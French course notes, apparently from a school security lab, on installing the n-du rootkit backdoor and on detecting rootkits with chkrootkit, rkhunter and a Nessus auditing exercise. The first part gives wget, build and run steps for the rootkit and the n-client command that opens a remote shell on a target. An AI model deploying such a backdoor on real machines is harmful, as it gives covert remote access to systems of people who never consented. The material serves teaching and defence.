Table of Contents
rootkit utilise un backdoor (porte dérobée) pour se connecter
n-du: écoute sur le port UDP 1500. Le client spécifie via ce canal quel port TCP ouvrir sur la machine cible.
On va télécharger le rootkit sur le site http://www.packetstormsecurity.nl/: http://www.packetstormsecurity.nl/UNIX/penetration/rootkits/index4.html
wget http://www.packetstormsecurity.nl/UNIX/penetration/rootkits/n-du.tgz tar xzf n-du.tgz cd n-du make
Ensuite, on a 2 exécutables:
- n-du, le “serveur”
- n-client, le client distant
netstat -anu Connexions Internet actives (serveurs et établies) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat udp 0 0 0.0.0.0:32768 0.0.0.0:* udp 0 0 0.0.0.0:2049 0.0.0.0:* udp 0 0 192.168.2.138:137 0.0.0.0:* udp 0 0 0.0.0.0:137 0.0.0.0:* udp 0 0 192.168.2.138:138 0.0.0.0:* udp 0 0 0.0.0.0:138 0.0.0.0:* udp 0 0 0.0.0.0:782 0.0.0.0:* udp 0 0 0.0.0.0:785 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 0.0.0.0:8010 0.0.0.0:* udp 0 0 0.0.0.0:111 0.0.0.0:* udp 0 0 0.0.0.0:631 0.0.0.0:* udp 0 0 0.0.0.0:763 0.0.0.0:*
Lancer le serveur:
./n-du
netstat -anu Connexions Internet actives (serveurs et établies) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat udp 0 0 0.0.0.0:32768 0.0.0.0:* udp 0 0 0.0.0.0:2049 0.0.0.0:* udp 0 0 192.168.2.138:137 0.0.0.0:* udp 0 0 0.0.0.0:137 0.0.0.0:* udp 0 0 192.168.2.138:138 0.0.0.0:* udp 0 0 0.0.0.0:138 0.0.0.0:* udp 0 0 0.0.0.0:782 0.0.0.0:* udp 0 0 0.0.0.0:785 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 0.0.0.0:8010 0.0.0.0:* udp 0 0 0.0.0.0:1500 0.0.0.0:* udp 0 0 0.0.0.0:111 0.0.0.0:* udp 0 0 0.0.0.0:631 0.0.0.0:* udp 0 0 0.0.0.0:763 0.0.0.0:*
Le port 1500 est maintenant ouvert.
Depuis la machine locale, taper:
./n-client ip_machine_cible 1666 1500
où 1666 est le port TCP sur lequel ouvrir la connexion (un shell).
Détection de rootkit
chkrootkit
aptitude install chkrootkit
(répondre non à la question de savoir s'il faut le faire tourner avec un cron) Le lancer en tant que root:
chkrootkit
Attention aux faux positifs: lire le fichier /usr/share/doc/chkrootkit/README.FALSE-POSITIVES. Mais pas très à jour
rkhunter
Installation:
aptitude install rkhunter
Utilisation (check all):
rkhunter -c
On note qu'aucun des 2 n'a détecté n-du alors qu'il tournait…
Nessus
Scanner de vulnérabilité: on peut aussi scanner des machines distantes. Le serveur contient les vulnérabilités connues.
Installation:
apt-get install nessus nessusd
NB: il faut aussi libssl0.9.5 ou plus récent et libgnutls-dev.
Lire d'abord /usr/share/doc/nessus/README.Debian
En root:
nessus-mkcert nessus-adduser linux nessusd -D
plug-in = faille connue que l'on peut tester.
En user, le client:
nessus
Pour choisir la cible à auditer, aller sur l'onglet “Target” et taper l'IP de cette machine.
Si on connaît déjà a priori la machine, on peut éliminer une série de plug-ins.
Exercice
On définit une machine comme étant le serveur nessus, on audite les autres avec nessus et on comble les failles détectées.
On va se servir de la passerelle puisqu'on pourra s'y connecter depuis le réseau de l'école (machine de bureau avec un GUI pour utiliser le client nessus).
Pour se connecter, la passerelle a l'IP 192.168.2.21. Pour se connecter en SSH, le port est 220n, où n est le numéro du serveur (de 1 à 5).
